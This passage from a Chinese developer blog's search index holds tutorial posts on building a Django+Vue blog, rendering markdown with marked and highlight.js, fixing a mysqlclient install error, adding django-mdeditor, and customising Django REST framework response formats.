tags=serializers.SerializerMethodField() # 多对多，钩子函数序列化,必须是以get_开头的 def get_tags(self, obj): tags = obj.tags.all() tag = TagModelSerializer(tags, many=True) return tag.data class Meta: model=BlogPost fields=\u0026#34;__all__\u0026#34; class SiteModelSerializer(serializers.ModelSerializer): class Meta: model = Site fields = \u0026#34;__all__\u0026#34; class SocialModelSerializer(serializers.ModelSerializer): class Meta: model = Social fields = \u0026#34;__all__\u0026#34; class FocusModelSerializer(serializers.ModelSerializer): class Meta: model = Focus fields = \u0026#34;__all__\u0026#34; class FriendModelSerializer(serializers.ModelSerializer): class Meta: model = Friend fields = \u0026#34;__all__\u0026#34; 2）将序列化的对象通过视图类提供接口 custommodelviewset.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from rest_framework import status from rest_framework import viewsets from common.customresponse import CustomResponse class CustomModelViewSet(viewsets.ModelViewSet): #CreateModelMixin-\u0026gt;create def create(self, request, *args, **kwargs): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) self.perform_create(serializer) headers = self.get_success_headers(serializer.data) return CustomResponse(data=serializer.data, code=201,msg=\u0026#34;OK\u0026#34;, status=status.HTTP_201_CREATED,headers=headers) #ListModelMixin-\u0026gt;list def list(self, request, *args, **kwargs): queryset = self.filter_queryset(self.get_queryset()) page = self.paginate_queryset(queryset) if page is not None: serializer = self.get_serializer(page, many=True) return self.get_paginated_response(serializer.data) serializer = self.get_serializer(queryset, many=True) return CustomResponse(data=serializer.data, code=200, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_200_OK) #RetrieveModelMixin-\u0026gt;retrieve def retrieve(self, request, *args, **kwargs): instance = self.get_object() serializer = self.get_serializer(instance) return CustomResponse(data=serializer.data, code=200, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_200_OK) #UpdateModelMixin-\u0026gt;update def update(self, request, *args, **kwargs): partial = kwargs.pop(\u0026#39;partial\u0026#39;, False) instance = self.get_object() serializer = self.get_serializer(instance, data=request.data, partial=partial) serializer.is_valid(raise_exception=True) self.perform_update(serializer) if getattr(instance, \u0026#39;_prefetched_objects_cache\u0026#39;, None): # If \u0026#39;prefetch_related\u0026#39; has been applied to a queryset, we need to # forcibly invalidate the prefetch cache on the instance. instance._prefetched_objects_cache = {} return CustomResponse(data=serializer.data, code=200, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_200_OK) #DestroyModelMixin-\u0026gt;destroy def destroy(self, request, *args, **kwargs): instance = self.get_object() self.perform_destroy(instance) return CustomResponse(data=[], code=204, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_204_NO_CONTENT) views.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 # Create your views here. from django_filters.rest_framework import DjangoFilterBackend from rest_framework import viewsets, status from rest_framework import filters from api.myfilter import BlogPostFilter from api.serializers import * from blog.models import BlogCategory, BlogPost,Site,Social,Focus,Friend,Tag from api.mypage import MyPage from common.custommodelviewset import CustomModelViewSet from common.customresponse import CustomResponse class BlogCategoryViewset(CustomModelViewSet): queryset = BlogCategory.objects.all() serializer_class = BlogCategoryModelSerializer class BlogsView(CustomModelViewSet): queryset = BlogPost.objects.order_by(\u0026#39;-isTop\u0026#39;,\u0026#39;-update_time\u0026#39;) serializer_class = BlogPostModelSerializer pagination_class = MyPage filter_backends = (DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter) filterset_class = BlogPostFilter #搜索 search_fields=(\u0026#39;title\u0026#39;,) #排序 ordering_fields = (\u0026#39;isTop\u0026#39;, \u0026#39;update_time\u0026#39;) #自定义获取详情接口 def retrieve(self,request,*args, **kwargs): instance=self.get_object() instance.viewsCount+=1 instance.save() serializer=self.get_serializer(instance) return CustomResponse(data=serializer.data,code=200,msg=\u0026#34;success\u0026#34;,status=status.HTTP_200_OK) class SiteView(CustomModelViewSet): queryset = Site.objects.all() serializer_class = SiteModelSerializer class SocialView(CustomModelViewSet): queryset = Social.objects.all() serializer_class = SocialModelSerializer class FocusView(CustomModelViewSet): queryset = Focus.objects.all() serializer_class = FocusModelSerializer class FriendView(viewsets.ModelViewSet): queryset = Friend.objects.all() serializer_class = FriendModelSerializer class TagView(viewsets.ModelViewSet): queryset = Tag.objects.all() serializer_class = TagModelSerializer 3）通过路由来实现接口地址和视图的绑定和访问 urls.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 # -*- coding: utf-8 -*- \u0026#34;\u0026#34;\u0026#34; :author: XieJava :url: http://ishareread.com :copyright: © 2021 XieJava \u0026lt;xiejava@ishareread.com\u0026gt; :license: MIT, see LICENSE for more details. \u0026#34;\u0026#34;\u0026#34; from api import views from django.urls import path,include from rest_framework.routers import DefaultRouter blogcategory_list=views.BlogCategoryViewset.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) blogcategory_detail=views.BlogCategoryViewset.as_view({ \u0026#39;get\u0026#39;: \u0026#39;retrieve\u0026#39;,}) blog_list=views.BlogsView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) blog_detail=views.BlogsView.as_view({ \u0026#39;get\u0026#39;: \u0026#39;retrieve\u0026#39;,}) site_list=views.SiteView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) site_detail=views.SiteView.as_view({\u0026#39;get\u0026#39;:\u0026#39;retrieve\u0026#39;,}) social_list=views.SocialView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) social_detail=views.SocialView.as_view({\u0026#39;get\u0026#39;:\u0026#39;retrieve\u0026#39;,}) focus_list=views.FocusView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) focus_detail=views.FocusView.as_view({\u0026#39;get\u0026#39;:\u0026#39;retrieve\u0026#39;}) friend_list=views.FriendView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) friend_detail=views.FriendView.as_view({\u0026#39;get\u0026#39;:\u0026#39;retrieve\u0026#39;}) tags_list=views.TagView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) # router=DefaultRouter() # router.register(\u0026#39;blogs\u0026#39;,views.BlogsView) urlpatterns = [ path(\u0026#39;category/\u0026#39;,blogcategory_list), path(\u0026#39;category/\u0026lt;pk\u0026gt;/\u0026#39;,blogcategory_detail), path(\u0026#39;post/list\u0026#39;,blog_list), path(\u0026#39;post/\u0026lt;pk\u0026gt;\u0026#39;,blog_detail), path(\u0026#39;social/\u0026#39;,social_list), path(\u0026#39;site/\u0026lt;pk\u0026gt;\u0026#39;,site_detail), path(\u0026#39;focus/list\u0026#39;,focus_list), path(\u0026#39;comment/\u0026#39;,blog_list), path(\u0026#39;friend/\u0026#39;,friend_list), path(\u0026#39;tags/\u0026#39;,tags_list), ] 4）自定义接口返回格式 接口需要根据Glog定义的格式进行定义和返回，这里就需要自定义接口返回格式。 具体实现参见：https://xiejava.blog.csdn.net/article/details/125773730 \u0026ndash;自定义返回响应类customresponse.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from rest_framework.response import Response from rest_framework.serializers import Serializer class CustomResponse(Response): def __init__(self,data=None,code=None,msg=None, status=None, template_name=None, headers=None, exception=False, content_type=None,**kwargs): super().__init__(None, status=status) if isinstance(data, Serializer): msg = ( \u0026#39;You passed a Serializer instance as data, but \u0026#39; \u0026#39;probably meant to pass serialized `.data` or \u0026#39; \u0026#39;`.error`. representation.\u0026#39; ) raise AssertionError(msg) self.data={\u0026#39;code\u0026#39;:code,\u0026#39;msg\u0026#39;:msg,\u0026#39;data\u0026#39;:data} self.data.update(kwargs) self.template_name=template_name self.exception=exception self.content_type=content_type if headers: for name, value in headers.items(): self[name] = value \u0026ndash;翻页实现类mypage.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from rest_framework import status from rest_framework.pagination import PageNumberPagination from common.customresponse import CustomResponse class MyPage(PageNumberPagination): page_size = 8 #每页显示数量 max_page_size = 50 #每页最大显示数量。 page_size_query_param = \u0026#39;size\u0026#39; #每页数量的参数名称 page_query_param = \u0026#39;page\u0026#39; #页码的参数名称 #自定义分页器的返回参数 def get_paginated_response(self, data): ret_data = dict() ret_data[\u0026#39;items\u0026#39;] = data # 加入自定义分页信息 ret_data[\u0026#39;total\u0026#39;] = self.page.paginator.count ret_data[\u0026#39;hasNextPage\u0026#39;] = self.get_next_link() ret_data[\u0026#39;size\u0026#39;] = self.page_size ret_data[\u0026#39;page\u0026#39;] = self.page.number return CustomResponse(data=ret_data,code=200,msg=\u0026#34;OK\u0026#34;,status=status.HTTP_200_OK) 全部代码： 后台代码：https://gitee.com/xiejava/ishareblog 前台代码：https://gitee.com/xiejava/Gblog\n四、效果 1、后台管理 管理界面 博客文章列表 文章内容编辑，支持markdown 分类管理 标签管理 社交信息 2、接口 接口清单 文章列表接口，支持翻页\n文章详情接口 3、前台展现 文章列表 文章详情，支持markdown显示及目录 社交信息 博客效果地址：http://blog.ishareread.com\n后续考虑 1、django原生admin的管理界面还是简陋了一点，后续可能会用其他管理界面的UI给换掉 2、现在有了一个hexo的博客了，后续可能会考虑实现hexo生成的博客内容直接同步到django的博客，或者django博客编辑的内容直接生成hexo的.md文件 有兴趣的话可以关注本博客\n博客：http://xiejava.ishareread.com\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-26-django-vue%E5%BF%AB%E9%80%9F%E5%AE%9E%E7%8E%B0%E5%8D%9A%E5%AE%A2%E7%BD%91%E7%AB%99/","summary":"\u003cp\u003eDjango是一个开放源代码的Web应用框架，由Python写成。采用了MTV的框架模式，即模型M，视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的，即是CMS（内容管理系统）软件。对于博客网站来说是典型的CMS应用。本文介绍通过Django+Vue的博客模版快速实现一个可用的博客网站。\u003c/p\u003e","title":"Django+Vue快速实现博客网站"},{"content":"Vue实现博客前端，需要实现markdown的解析，如果有代码则需要实现代码的高亮。 Vue的markdown解析库有很多，如markdown-it、vue-markdown-loader、marked、vue-markdown等。这些库都大同小异。这里选用的是marked，代码高亮的库选用的是highlight.js。\n具体实现步骤如下：\n一、安装依赖库 在vue项目下打开命令窗口，并输入以下命令\n1 2 npm install marked -save // marked 用于将markdown转换成html npm install highlight.js -save //用于代码高亮显示 命令执行完后可以在控制台或package.json文件中看到有安装的版本号 二、在main.js文件中引入highlight.js及样式并创建一个自定义的全局指令 1 2 3 4 5 6 7 8 9 10 import hljs from \u0026#39;highlight.js\u0026#39;; import \u0026#39;highlight.js/styles/atom-one-dark.css\u0026#39; //样式 //创建v-highlight全局指令 Vue.directive(\u0026#39;highlight\u0026#39;,function (el) { let blocks = el.querySelectorAll(\u0026#39;pre code\u0026#39;); blocks.forEach((block)=\u0026gt;{ hljs.highlightBlock(block) }) }) 这样就可以在vue组件中使用v-highlight引用代码高亮的方法了。\n三、在Vue组件中应用marked解析及实现代码高亮 代码示例如下：\n1 2 3 4 \u0026lt;!-- 正文输出 --\u0026gt; \u0026lt;div class=\u0026#34;entry-content\u0026#34;\u0026gt; \u0026lt;div v-highlight v-html=\u0026#34;article\u0026#34; id=\u0026#34;content\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;script\u0026gt; // 将marked 引入 import { marked }from \u0026#39;marked\u0026#39;; export default { name: \u0026#39;articles\u0026#39;, data(){ return{ article:\u0026#39;\u0026#39; } }, methods: { getPostDetail() { console.log(\u0026#39;getPostDetail()\u0026#39;+this.id) fetchPostDetail(this.id).then(res =\u0026gt; { this.postdetail=res.data // 调用marked()方法，将markdown转换成html this.article= marked(this.postdetail.content); console.log(res.data) }).catch(err =\u0026gt; { console.log(err) }) }, created() { //调用获取文章内容的接口方法 this.getPostDetail() }, } \u0026lt;/script\u0026gt; 四、显示效果 markdown解析及代码高亮显示效果 示例中引用的样式是 import 'highlight.js/styles/atom-one-dark.css' 实际highlight.js/styles中提供了很多样式，可以根据自己的喜好选用。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-19-vue3%E8%A7%A3%E6%9E%90markdown%E8%A7%A3%E6%9E%90%E5%B9%B6%E5%AE%9E%E7%8E%B0%E4%BB%A3%E7%A0%81%E9%AB%98%E4%BA%AE%E6%98%BE%E7%A4%BA/","summary":"\u003cp\u003eVue实现博客前端，需要实现markdown的解析，如果有代码则需要实现代码的高亮。\nVue的markdown解析库有很多，如markdown-it、vue-markdown-loader、marked、vue-markdown等。这些库都大同小异。这里选用的是marked，代码高亮的库选用的是highlight.js。\u003c/p\u003e","title":"Vue3解析markdown解析并实现代码高亮显示"},{"content":"MySQL是常用的开源数据库，Python环境下django框架连接MySQL数据库用的是mysqlclient库，今天在用pip安装mysqlclient库时报错，特记录一下，避免后续继续踩坑。\n环境说明： 操作系统：CentOS Linux 7.2 Python版本：Python 3.9.13 pip版本：pip 22.1.2\n报错信息： 执行pip3 install mysqlclient==2.1.1 报错 报错信息如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Using cached http://mirrors.aliyun.com/pypi/packages/50/5f/eac919b88b9df39bbe4a855f136d58f80d191cfea34a3dcf96bf5d8ace0a/mysqlclient-2.1.1.tar.gz (88 kB) Preparing metadata (setup.py) ... error error: subprocess-exited-with-error × python setup.py egg_info did not run successfully. │ exit code: 1 ╰─\u0026gt; [16 lines of output] /bin/sh: mysql_config: command not found /bin/sh: mariadb_config: command not found /bin/sh: mysql_config: command not found Traceback (most recent call last): File \u0026#34;\u0026lt;string\u0026gt;\u0026#34;, line 2, in \u0026lt;module\u0026gt; File \u0026#34;\u0026lt;pip-setuptools-caller\u0026gt;\u0026#34;, line 34, in \u0026lt;module\u0026gt; File \u0026#34;/tmp/pip-install-i1nt_asj/mysqlclient_1b92535d58cd440b8797686ac8bc9882/setup.py\u0026#34;, line 15, in \u0026lt;module\u0026gt; metadata, options = get_config() File \u0026#34;/tmp/pip-install-i1nt_asj/mysqlclient_1b92535d58cd440b8797686ac8bc9882/setup_posix.py\u0026#34;, line 70, in get_config libs = mysql_config(\u0026#34;libs\u0026#34;) File \u0026#34;/tmp/pip-install-i1nt_asj/mysqlclient_1b92535d58cd440b8797686ac8bc9882/setup_posix.py\u0026#34;, line 31, in mysql_config raise OSError(\u0026#34;{} not found\u0026#34;.format(_mysql_config_path)) OSError: mysql_config not found mysql_config --version mariadb_config --version mysql_config --libs [end of output] note: This error originates from a subprocess, and is likely not a problem with pip. error: metadata-generation-failed × Encountered error while generating package metadata. ╰─\u0026gt; See above for output. note: This is an issue with the package mentioned above, not pip. hint: See above for details. 避坑： 从报错信息看是找不到mysql_config 通过whereis mysql_config命令查看mysql_config 发现mysql_confg没有 执行yum install mysql-devel 安装mysql-devel 执行whereis mysql_config命令查看mysql_config这时mysql_config有了\n1 mysql_config: /usr/bin/mysql_config /usr/share/man/man1/mysql_config.1.gz 再次执行pip安装命令安装成功！\n1 2 3 4 5 6 7 8 9 10 pip3 install mysqlclient==2.1.1 Looking in indexes: http://mirrors.aliyun.com/pypi/simple/ Collecting mysqlclient==2.1.1 Using cached http://mirrors.aliyun.com/pypi/packages/50/5f/eac919b88b9df39bbe4a855f136d58f80d191cfea34a3dcf96bf5d8ace0a/mysqlclient-2.1.1.tar.gz (88 kB) Preparing metadata (setup.py) ... done Using legacy \u0026#39;setup.py install\u0026#39; for mysqlclient, since package \u0026#39;wheel\u0026#39; is not installed. Installing collected packages: mysqlclient Running setup.py install for mysqlclient ... done Successfully installed mysqlclient-2.1.1 ","permalink":"http://xiejava.ishareread.com/posts/2022-07-16-python%E5%AE%89%E8%A3%85mysqlclient%E6%8A%A5%E9%94%99%E9%81%BF%E5%9D%91/","summary":"\u003cp\u003eMySQL是常用的开源数据库，Python环境下django框架连接MySQL数据库用的是mysqlclient库，今天在用pip安装mysqlclient库时报错，特记录一下，避免后续继续踩坑。\u003c/p\u003e","title":"Python3.9环境安装mysqlclient报python setup.py egg_info did not run successfully错避坑"},{"content":"一般来说一个CMS系统如博客系统都需要一个好的富文本编辑器，现在大家更多的是选择MarkDown编辑器来编辑内容。Django作为python的主流web开发框架当然少不了markdown的插件。本文介绍如何在Django框架中引入markdown编辑器及在使用markdown时的注意事项。\n在Django框架中引入markdown编辑器主要是通过安装引入Django-mdeditor库来实现。 Django-mdeditor 是基于 Editor.md 的一个 django Markdown 文本编辑插件应用。 其官方下载地址见 https://pypi.org/project/django-mdeditor/ 根据官方指导文档\n一、安装使用 1、安装django-mdeditor 1 pip install django-mdeditor 2、在 settings 配置文件 INSTALLED_APPS 中添加 mdeditor 1 2 3 4 5 6 7 8 9 10 11 12 13 INSTALLED_APPS = [ \u0026#39;blog\u0026#39;, \u0026#39;django.contrib.admin\u0026#39;, \u0026#39;django.contrib.auth\u0026#39;, \u0026#39;django.contrib.contenttypes\u0026#39;, \u0026#39;django.contrib.sessions\u0026#39;, \u0026#39;django.contrib.messages\u0026#39;, \u0026#39;django.contrib.staticfiles\u0026#39;, \u0026#39;rest_framework\u0026#39;, \u0026#39;django_filters\u0026#39;,#注册条件查询 # 注册markdown的应用 \u0026#39;mdeditor\u0026#39;, ] 3、针对django3.0+修改 frame 配置 1 X_FRAME_OPTIONS = \u0026#39;SAMEORIGIN\u0026#39; # django 3.0 + 默认为 deny 4、在 settings 中添加媒体文件的路径配置 1 2 MEDIA_URL = \u0026#39;/media/\u0026#39; MEDIA_ROOT = os.path.join(BASE_DIR, \u0026#39;uploads\u0026#39;) 在你项目根目录下创建 uploads/editor 目录，用于存放上传的图片。\n5、在项目的根 urls.py 中添加扩展url和媒体文件url: 注意是在项目的根 urls.py 中添加扩展url和媒体文件url，而不是在其他项目应用的urls.py中添加\n1 2 3 4 5 6 7 8 9 10 11 12 13 from django.conf.urls import url, include from django.conf.urls.static import static from django.conf import settings ... urlpatterns = [ ... url(r\u0026#39;mdeditor/\u0026#39;, include(\u0026#39;mdeditor.urls\u0026#39;)) ] if settings.DEBUG: # static files (images, css, javascript, etc.) urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) 6、在项目model中应用markdown 示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026#39;\u0026#39;\u0026#39;博客文章\u0026#39;\u0026#39;\u0026#39; class BlogPost(BaseModel): id = models.AutoField(primary_key=True) title = models.CharField(max_length=200, verbose_name=\u0026#39;文章标题\u0026#39;, unique = True) category = models.ForeignKey(BlogCategory, blank=True, null=True, verbose_name=\u0026#39;文章分类\u0026#39;, on_delete=models.DO_NOTHING) isTop=models.BooleanField(default=False,verbose_name=\u0026#39;是否置顶\u0026#39;) isHot=models.BooleanField(default=False,verbose_name=\u0026#39;是否热门\u0026#39;) summary=models.CharField(max_length=500,verbose_name=\u0026#39;内容摘要\u0026#39;,default=\u0026#39;\u0026#39;) content=MDTextField(verbose_name=\u0026#39;内容\u0026#39;) viewsCount= models.IntegerField(default=0, verbose_name=\u0026#34;查看数\u0026#34;) commentsCount=models.IntegerField(default=0, verbose_name=\u0026#34;评论数\u0026#34;) def __str__(self): return self.title class Meta: verbose_name = \u0026#39;博客文章\u0026#39; verbose_name_plural = \u0026#39;博客文章\u0026#39; 见 content=MDTextField(verbose_name='内容') 表示博客文章的内容是MDTextField\n7、向 admin.py 中注册model: 1 2 3 4 5 6 from django.contrib import admin from blog.models import * # Register your models here. @admin.register(BlogPost) class BlogPostAdmin(admin.ModelAdmin): list_display = [\u0026#39;title\u0026#39;,\u0026#39;category\u0026#39;,\u0026#39;isTop\u0026#39;,\u0026#39;isHot\u0026#39;] 8、迁移创建数据表 运行 python manage.py makemigrations 和 python manage.py migrate 来创建你的model 数据库表，可以看到默认创建的content字段是longtext类型的 9、测试验证 启动应用，访问http://127.0.0.1:8000/admin/ 点击新增博客文章，可以看到内容字段是markdown编辑器输入了。 至此django应用中就可以使用markdown编辑器了。\n二、markdown上传图片不回显避坑 按照以上步骤配置django-mdeditor,markdown编辑器可以正常使用，但是这里有个大坑，就是有些浏览器在上传图片后上传的图片不回显！ 我就碰到了这样的情况。\n在添加图片界面选择本地上传图片后发现后台接口调到了 /mdeditor/uploads/?guid=1657867564930 接口并且返回了200，但是上传的图片地址不回显，提交报“错误：图片地址不能为空。” 这就奇了怪了。 打开浏览器的调试工具，发现报了一个错，Uncaught SyntaxError: Unexpected token 下 in JSON at position 141\n点击详情，具体应该是获取的JSON无法解析。\n这个JSON为什么无法解析呢？开始进一步调试，这个JSON是上传时调用的后台上传方法返回的。所以来看看是不是后台上传接口返回的JSON串有什么问题。找到/mdeditor/uploads路由所对应的源码\nUploadView的源代码，就是返回一个成功的json报文\n1 2 3 4 5 return JsonResponse({\u0026#39;success\u0026#39;: 1, \u0026#39;message\u0026#39;: \u0026#34;上传成功！\u0026#34;, \u0026#39;url\u0026#39;: os.path.join(settings.MEDIA_URL, MDEDITOR_CONFIGS[\u0026#39;image_folder\u0026#39;], file_full_name)}) 实际打断点debug也是正常返回上传成功的json报文。\n这就有点奇怪了，接口返回了正常的json报文怎么就解析不了了呢？接着继续调前台js代码，看究竟是什么原因。\n发现js获取的json串里多了几个字“下载视频”! 这是什么鬼？实在是没有地方有返回“下载视频”这几个字啊？看js代码是通过iframe来处理请求的，再来看看iframe的内容，发现iframe里确实有“下载视频”\n原来是有个chrome浏览器插件，擅自给加了“下载视频”的内容。再来看浏览器装了些啥插件。原来是有个迅雷插件，应该就是这个插件搞的鬼了，罪魁祸首就是它了！ 把这个迅雷插件删除或停用，果然一切正常！可以正常回显！！！\n显示插入的图片\n所以，碰到markdown上传图片不回显的情况，先看下自己的浏览器是不是开启了迅雷插件应用，如果开启了迅雷插件应用先停用或删除！\n作者博客：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-07-15-django%E5%8A%A0%E5%85%A5markdown%E7%BC%96%E8%BE%91%E5%99%A8%E5%8F%8Amarkdown%E4%B8%8A%E4%BC%A0%E5%9B%BE%E7%89%87%E4%B8%8D%E5%9B%9E%E6%98%BE%E9%81%BF%E5%9D%91/","summary":"\u003cp\u003e一般来说一个CMS系统如博客系统都需要一个好的富文本编辑器，现在大家更多的是选择MarkDown编辑器来编辑内容。Django作为python的主流web开发框架当然少不了markdown的插件。本文介绍如何在Django框架中引入markdown编辑器及在使用markdown时的注意事项。\u003c/p\u003e","title":"Django加入markdown编辑器及markdown上传图片不回显避坑"},{"content":"在前后端分离是大趋势的背景下，前端获取数据都是通过调用后台的接口来获取数据微服务的应用越来越多。Django是Python进行web应用开发常用的web框架，用Django框架进行web应用框架减少了很多工作，通常用很少量的代码就可以实现数据的增、删、改、查的业务应用，同样用Django的restframework的框架对外发布接口也是非常的简单方便，几行代码就可以将数据对象通过接口的方式提供服务。因为在实际开发过程中接口的返回数据有一定的格式，本文介绍通过自定义Response返回对象来自定义接口返回数据格式。\n以下示例将数据对象Friend通过restframework框架进行接口发布。 只要定义Friend数据对象\n1 2 3 4 5 6 7 8 9 10 11 12 class Friend(BaseModel): id=models.AutoField(primary_key=True) siteName=models.CharField(max_length=20, verbose_name=\u0026#39;友链站点名称\u0026#39;) path=models.CharField(max_length=100, verbose_name=\u0026#39;地址路径\u0026#39;) desc=models.CharField(max_length=200, verbose_name=\u0026#39;描述\u0026#39;) def __str__(self): return self.siteName class Meta: verbose_name=\u0026#39;友链\u0026#39; verbose_name_plural=\u0026#39;友链\u0026#39; 定义一个序列化类将返回的字段序列化\n1 2 3 4 class FriendModelSerializer(serializers.ModelSerializer): class Meta: model = Friend fields = \u0026#34;__all__\u0026#34; 定义一个接口视图类获取数据\n1 2 3 class FriendView(viewsets.ModelViewSet): queryset = Friend.objects.all() serializer_class = FriendModelSerializer 定义接口路由就可以通过httprestfull的接口进行访问了\n1 2 3 4 friend_list=views.FriendView.as_view({\u0026#39;get\u0026#39;:\u0026#39;list\u0026#39;,}) urlpatterns = [ path(\u0026#39;friend/\u0026#39;,friend_list), ] 接口访问效果如下： http://localhost:8000/api/friend/ 但是在项目中经常会碰到接口格式变化的情况，restframework框架默认的返回数据格式不满足应用的需求。比如一般的接口都会有接口返回的code、msg、data，code用来标识接口返回代码比如200是正常，msg用来记录异常或其信息，data用来返回具体的数据。 通过restframework接口自定义返回数据格式也是很简单方便的。 先自定义Response返回对象，在返回对象中自定义数据返回的格式，示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from rest_framework.response import Response from rest_framework.serializers import Serializer class CustomResponse(Response): def __init__(self,data=None,code=None,msg=None, status=None, template_name=None, headers=None, exception=False, content_type=None,**kwargs): super().__init__(None, status=status) if isinstance(data, Serializer): msg = ( \u0026#39;You passed a Serializer instance as data, but \u0026#39; \u0026#39;probably meant to pass serialized `.data` or \u0026#39; \u0026#39;`.error`. representation.\u0026#39; ) raise AssertionError(msg) #自定义返回格式 self.data={\u0026#39;code\u0026#39;:code,\u0026#39;msg\u0026#39;:msg,\u0026#39;data\u0026#39;:data} self.data.update(kwargs) self.template_name=template_name self.exception=exception self.content_type=content_type if headers: for name, value in headers.items(): self[name] = value 在接口接口视图类获取数据返回时，使用该自定义的Response返回对象。\n1 2 3 4 5 6 7 8 class FriendView(viewsets.ModelViewSet): queryset = Friend.objects.all() serializer_class = FriendModelSerializer #自定义list方法，自定义Response返回 def list(self, request, *args, **kwargs): queryset = self.filter_queryset(self.get_queryset()) serializer = self.get_serializer(queryset, many=True) return CustomResponse(data=serializer.data, code=200, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_200_OK) 接口访问效果如下： 可以看到返回数据格式中增加了code,msg 数据放到了data节点 列表数据通常接口要提供翻页功能，在接口中要有总页数、当前页、是否有下一页的信息。 可以自定义一个分页器，在分页器中自定义需要返回的分页参数 参考示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 from rest_framework import status from rest_framework.pagination import PageNumberPagination from common.customresponse import CustomResponse class MyPage(PageNumberPagination): page_size = 8 #每页显示数量 max_page_size = 50 #每页最大显示数量。 page_size_query_param = \u0026#39;size\u0026#39; #每页数量的参数名称 page_query_param = \u0026#39;page\u0026#39; #页码的参数名称 def get_paginated_response(self, data): #自定义分页器的返回参数 return CustomResponse(data=data,code=200,msg=\u0026#34;OK\u0026#34;,status=status.HTTP_200_OK, count=self.page.paginator.count,next=self.get_next_link(),previous=self.get_previous_link(),size=self.page_size,page=self.page.number) 在接口接口视图类获取数据返回时，如果有分页器则使用该分页器自定义的Response返回对象。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class FriendView(viewsets.ModelViewSet): queryset = Friend.objects.all() serializer_class = FriendModelSerializer pagination_class = MyPage #自定义list方法，自定义Response返回 def list(self, request, *args, **kwargs): queryset = self.filter_queryset(self.get_queryset()) page = self.paginate_queryset(queryset) #如果有分页器，则进行分页后返回 if page is not None: serializer = self.get_serializer(page, many=True) return self.get_paginated_response(serializer.data) serializer = self.get_serializer(queryset, many=True) return CustomResponse(data=serializer.data, code=200, msg=\u0026#34;OK\u0026#34;, status=status.HTTP_200_OK) 接口访问效果如下： 可以看到接口中自定义增加了分页信息。 但是有时候可能希望分页的信息数据要放在data节点里面，这样也是可以做到的。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from rest_framework import status from rest_framework.pagination import PageNumberPagination from common.customresponse import CustomResponse class MyPage(PageNumberPagination): page_size = 8 #每页显示数量 max_page_size = 50 #每页最大显示数量。 page_size_query_param = \u0026#39;size\u0026#39; #每页数量的参数名称 page_query_param = \u0026#39;page\u0026#39; #页码的参数名称 #自定义分页器的返回参数 def get_paginated_response(self, data): ret_data = dict() ret_data[\u0026#39;items\u0026#39;] = data # 加入自定义分页信息 ret_data[\u0026#39;total\u0026#39;] = self.page.paginator.count ret_data[\u0026#39;hasNextPage\u0026#39;] = self.get_next_link() ret_data[\u0026#39;size\u0026#39;] = self.page_size ret_data[\u0026#39;page\u0026#39;] = self.page.number return CustomResponse(data=ret_data,code=200,msg=\u0026#34;OK\u0026#34;,status=status.HTTP_200_OK) 接口访问效果如下： 可以看到接口中自定义增加了分页信息，分页的信息数据放在data节点里面了 